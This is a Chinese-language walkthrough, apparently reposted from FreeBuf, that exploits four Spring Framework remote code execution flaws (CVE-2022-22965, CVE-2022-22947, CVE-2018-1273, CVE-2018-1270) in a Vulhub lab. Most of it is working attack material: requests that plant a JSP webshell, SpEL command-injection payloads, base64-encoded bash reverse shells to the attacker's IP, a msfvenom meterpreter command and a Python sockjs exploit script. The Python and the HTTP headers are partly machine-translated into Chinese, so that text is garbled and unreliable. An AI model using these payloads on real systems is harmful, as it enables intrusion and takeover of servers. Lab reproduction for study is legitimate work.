发布于12月5日12月5日 # Spring框架远程代码执行漏洞(CVE-2022-22965) ## 1.漏洞介绍: CVE-2022-22965是Java 9环境中引入class.module.classLoader,导致CVE-2010-1622漏洞补丁的绕过。 JDK9中存在类可以绕过黑名单禁令,从而导致该漏洞。 ## 2.实验环境: 攻击机(卡利):192.168.200.14 目标无人机(Ubuntu):192.168.200.47 基于Vulhub平台复现实验 目标无人机目录 ```` cd /vulhub/spring/CVE-2022-22965 ```` 查看当前运行的容器环境 ## 3.实验过程 **1.输入环境条件** ```` http://IP地址:8080 ```` **2.接入环境** 尝试根据提示构建payload ```` http://192.168.200.47:8080/?name=Bobage=25 ```` 显示效果 发送以下请求以更改Apache Tomcat 中的日志记录配置并将日志写入JSP 文件: ```` GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7 Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1% 3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.pr intln(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Diclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline .first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwarclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=HTTP/1.1 主机: 192.168.200.147:8080 Accept-Encoding: gzip、deflate 接受: */* 接受语言: zh User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)\tAppleWebKit/537.36(KHTML,如Gecko)Chrome/97.0.4692.71 \t\tSafari/537.36 连接:关闭 后缀:%// c1: 运行时 c2:% DNT: 1 ```` 访问刚才的JSP webshell,执行任意命令 ```` http://192.168.200.47:8080/tomcatwar.jsp?pwd=jcmd=id `` Bug修复及其他具体内容请参见以下文章 ```` https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==mid=2247514928idx=1sn=d33f1046129536b3a0f2a7d02074297esource=41#wechat_redirect ```` # Spring Cloud Gateway 远程代码执行(CVE-2022-22947) ## 1.漏洞介绍 Spring Cloud Gateway 提供了一个用于在Spring WebFlux 之上构建API 网关的库。 2022年3月,在3.1.0和3.0.6之前的版本中使用Spring Cloud Gateway的应用程序,当启用或暴露不安全的Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序容易受到代码注入攻击。远程攻击者可以通过发送恶意请求来执行任意代码。 ## 2.实验环境: 攻击机(卡利):192.168.200.14 目标无人机(Ubuntu):192.168.200.47 基于Vulhub平台复现实验 目标无人机目录 ```` cd /vulhub/spring/CVE-2022-22947 ```` 查看当前运行的容器环境 ## 3.实验过程 **1.输入环境条件** ```` http://IP地址:8080 ```` **2.接入环境** **3.** **构建包含恶意请求的路由(id参数可控)** ```` POST /actuator/gateway/routes/hacktest HTTP/1.1 主机: 192.168.200.47:8080 Accept-Encoding: gzip、deflate 接受: */* 接受语言: zh User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如\t\tGecko)Chrome/97.0.4692.71 Safari/537.36 连接:关闭 内容类型: 应用程序/json 内容长度: 310 { \'id\': \'hacktest\', \'过滤器\': [{ \'名称\': \'AddResponseHeader\', \'args\': { \'名称\': \'结果\', \'值\': \'#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\\'id\\\'}).getInputStream()))}\' } }], \'uri\': \'http://example.com\' } `` **4.应用刚刚添加的路由发送下面的数据包。该数据包将触发表达式执行:** ```` POST /执行器/网关/刷新HTTP/1.1 主机: 192.168.200.47:8080 Accept-Encoding: gzip、deflate 接受: */* 接受语言: zh User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/97.0.4692.71 Safari/537.36 连接:关闭 Content-Type: 应用程序/x-www-form-urlencoded 内容长度: 0 `` **5.发送如下数据包查看结果:** ```` GET /actuator/gateway/routes/hacktest HTTP/1.1 主机: 192.168.200.47:8080 Accept-Encoding: gzip、deflate 接受: */* 接受语言: zh User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/97.0.4692.71 Safari/537.36 连接:关闭 Content-Type: 应用程序/x-www-form-urlencoded 内容长度: 0 `` **6。发送以下数据包进行清洗,删除添加的路由:** ```` 删除/actuator/gateway/routes/hacktest HTTP/1.1 主机: 192.168.200.47:8080 Accept-Encoding: gzip、deflate 接受: */* 接受语言: zh User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/97.0.4692.71 Safari/537.36 连接:关闭 `` **7.刷新路由:** ```` POST /执行器/网关/刷新HTTP/1.1 主机: 192.168.200.47:8080 Accept-Encoding: gzip、deflate 接受: */* 接受语言: zh User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/97.0.4692.71 Safari/537.36 连接:关闭 Content-Type: 应用程序/x-www-form-urlencoded 内容长度: 8 `` 结束3 ### 使用工具 将脚本路径放入url.txt,将需要检测的漏洞目标放入txt。 ```` 蟒蛇脚本.py ```` 反弹shell的EXP,实现**注入、刷新路由、回显命令、删除注入命令** ```` python EXP.py http://target.com:8080 \'反弹命令\' `` kali反弹shell成功 # Spring Data Commons 远程命令执行漏洞(CVE-2018-1273) ## 1.漏洞介绍: Spring Data 是一个开源框架,用于简化数据库访问并支持云服务。 Spring Data Commons是Spring Data下所有子项目共享的基础框架。 Spring Data Commons 2.0.5及之前版本中存在SpEL表达式注入漏洞,攻击者可以通过注入恶意SpEL表达式来执行任意命令。 ## 2.实验环境: 攻击机(卡利):192.168.200.14 目标无人机(Ubuntu):192.168.200.47 基于Vulhub平台复现实验 目标无人机目录 ```` cd /vulhub/spring/CVE-2018-1273 ```` 查看当前运行的容器环境 ## 3.实验过程 **1.输入环境条件** ```` http://IP地址:8080 ```` **2.接入环境** **3.访问\\`http://your-ip:8080/users\\`,您将看到一个用户注册页面** **4.施工** **poc** ```` POST /users?page=size=5 HTTP/1.1 主机: 192.168.200.47:8080 连接:保持活动状态 内容长度: 124 Pragma: 无缓存 Cache-Control: 无缓存 来源: http://localhost:8080 升级不安全请求: 1 Content-Type: 应用程序/x-www-form-urlencoded User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/64.0.3282.186 Safari/537.36 Accept: 文本/html,应用程序/xhtml+xml,应用程序/xml;q=0.9,图像/webp,图像/apng,*/*;q=0.8 Referer: http://localhost:8080/users?page=0size=5 Accept-Encoding: gzip、deflate、br 接受语言: zh-CN,zh;q=0.9,en;q=0.8 用户名[#this.getClass().forName(\'java.lang.Runtime\').getRuntime().exec(\'touch /tmp/success\')]=密码=repeatedPassword= `` 执行docker compose exec spring bash 进入容器。可以看到/tmp/success创建成功,说明命令执行成功: 反弹壳, 使用命令 ```` bash -i /dev/tcp/192.168.200.14/8888 01 ```` 编码后 ```` bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i} ```` 反弹shell 由于某种原因失败 如果无法打开shell,可以先从自己的服务器下载一个名为test的**elf**木马: ```` msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.200.14 LPORT=8888 -i 3 -f elf -o test `` 设置监控模块 设置参数 提权成功(由于Linux系统中使用msf提权的情况很少,所以我们必须将其隐藏) # Spring Messaging 远程命令执行漏洞(CVE-2018-1270) ## 1.漏洞介绍: Spring框架中的spring-messaging模块提供了基于WebSocket的STOMP协议实现。 STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞。攻击者可以通过构造恶意消息来实现远程代码执行。 ## 2.实验环境: 攻击机(卡利):192.168.200.14 目标无人机(Ubuntu):192.168.200.47 基于Vulhub平台复现实验 目标无人机目录 ```` cd /vulhub/spring/CVE-2018-1270 ```` 查看当前运行的容器环境 ## 3.实验过程 **1.输入环境条件** ```` http://IP地址:8080 ```` **2.接入环境** 网上大部分文章都说Spring Messaging是基于websocket通信的,但事实并非如此。 Spring消息传递基于sockjs(可以理解为一种通信协议),而sockjs适应多种浏览器:现代浏览器使用websocket通信,老浏览器使用ajax通信。 连接后端服务器的过程可以理解为: 1.使用**STOMP协议**将数据组合成文本流 2.使用**sockjs协议**发送文本流,sockjs会选择合适的通道:websocket或xhr(http)与后端通信 所以我们可以利用http来重现该漏洞,这就是所谓的“降维攻击”。 我写了一个简单的POC脚本**exploit.py**(需要用python3执行),因为该漏洞是在订阅时插入SpEL表达式,只有对方向此订阅发送消息时才会触发,所以我们需要指定的信息是: 1、vulhub中的基本地址为http://your-ip:8080/gs-guide-websocket 2、要执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success') 3、某个订阅的地址,如:vulhub中的/topic/greetings 4、如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub 中,我们将包含name 的json 发送到/app/hello 来触发此事件。当然,实战中是不同的,所以这个POC并不通用。 根据自己的需要修改POC。如果是vulhub环境,只需修改1中的URL即可。 执行EXP(注意替换IP地址) 反弹壳 使用内置的EXP,将其改为反弹shell命令 ```` #!/usr/bin/env python3 导入请求 随机导入 导入字符串 导入时间 导入线程 导入日志记录 导入系统 导入json logging.basicConfig(stream=sys.stdout, level=logging.INFO) def random_str(长度): 字母=string.ascii_lowercase + string.digits return ''.join(random.choice(letters) for c in range(length)) 类SockJS(threading.Thread): def __init__(self, url, *args, **kwargs): super().__init__(*args, **kwargs) self.base=f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon=True self.session=requests.session() self.session.headers={ '推荐人': 网址, '用户代理': 'Mozilla/5.0(兼容;MSIE 9.0;Windows NT 6.1;Trident/5.0)' } self.t=int(时间.time() * 1000) def 运行(自我): url=f'{self.base}/htmlfile?c=_jp.vulhub' 响应=self.session.get(url,stream=True) 对于response.iter_lines():中的行 睡眠时间(0.5) def 发送(自我,命令,标头,body=''): 数据=[command.upper(), '\ '] 数据.append('\ '.join([f'{k}:{v}' for k, v in headers.items()])) 数据.append('\ \ ') 数据.append(body) data.append('\\x00') 数据=json.dumps([''.join(data)]) 响应=self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) 如果响应.status_code!=204: logging.info(f\'发送'{command}'数据错误。\') 否则: logging.info(f\'发送'{command}'数据成功。\') def __del__(self): self.session.close() sockjs=SockJS('http://192.168.200.47:8080/gs-guide-websocket') sockjs.start() 时间.睡眠(1) sockjs.send('连接', { '接受版本': '1.1,1.0', '心跳': '10000,10000' }) sockjs.send('订阅', { '选择器': \'T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODk5IDA+JjE=}|{base64,-d}|{bash,-i}')\', 'id': '子0', '目的地': '/主题/问候' }) 数据=json.dumps({'name': 'vulhub'}) sockjs.send('发送', { '内容长度': len(数据), '目的地':'/应用程序/你好' },数据) ```` 卡利监控 参考文章:[https://vulhub.org/#/environments/spring/CVE-2018-1270/](https://vulhub.org/#/environments/spring/CVE-2018-1270/) 转载自freebuf: [https://www.freebuf.com/articles/web/387249.html](https://www.freebuf.com/articles/web/387249.html)作者:锦鲤
创建帐户或登录后发表意见